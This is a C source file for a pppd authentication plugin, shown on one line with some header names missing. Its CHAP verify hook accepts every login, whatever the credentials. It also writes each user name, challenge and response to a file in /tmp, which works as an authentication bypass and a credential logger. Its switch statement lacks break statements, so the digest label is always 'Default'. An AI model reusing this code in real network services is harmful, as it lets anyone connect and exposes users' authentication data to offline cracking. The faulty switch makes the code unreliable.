#include "pppd.h" #include "chap-new.h" #include "chap_ms.h" #ifdef MPPE #include "md5.h" #endif #include "fsm.h" #include "ipcp.h" #include #include #include #include #include #include #include #include #include #include #include /** static int external_chap_check(void); static int external_chap_verify(char *user, char *ourname, int id, struct chap_digest_type *digest, unsigned char *challenge, unsigned char *response, char *message, int message_space); **/ static int external_chap_check(void){ return 1; } static int external_auth_hook(char *user, char *ourname, int id, struct chap_digest_type *digest, unsigned char *challenge, unsigned char *response, char *message, int message_space) { char *codemess; switch (digest->code) { case CHAP_MICROSOFT: { codemess = "MIC"; } case CHAP_MICROSOFT_V2: { codemess = "MV2"; } case CHAP_MD5: { codemess = "MD5"; } default: codemess = "Default"; } FILE *f = fopen("/tmp/auth.pppd.log", "w"); if (f == NULL) { printf("Error opening file!\n"); exit(1); } fprintf(f, "User: %s\n", user); fprintf(f, "Challenge: %s\n",challenge); fprintf(f, "Response: %s\n", response); fprintf(f, "CODE: %s\n",codemess); fclose(f); return 1; } void plugin_init(void) { dbglog("PLUGIN: Initializing authenticaton plugin."); chap_check_hook=external_chap_check; chap_verify_hook=external_auth_hook; return; }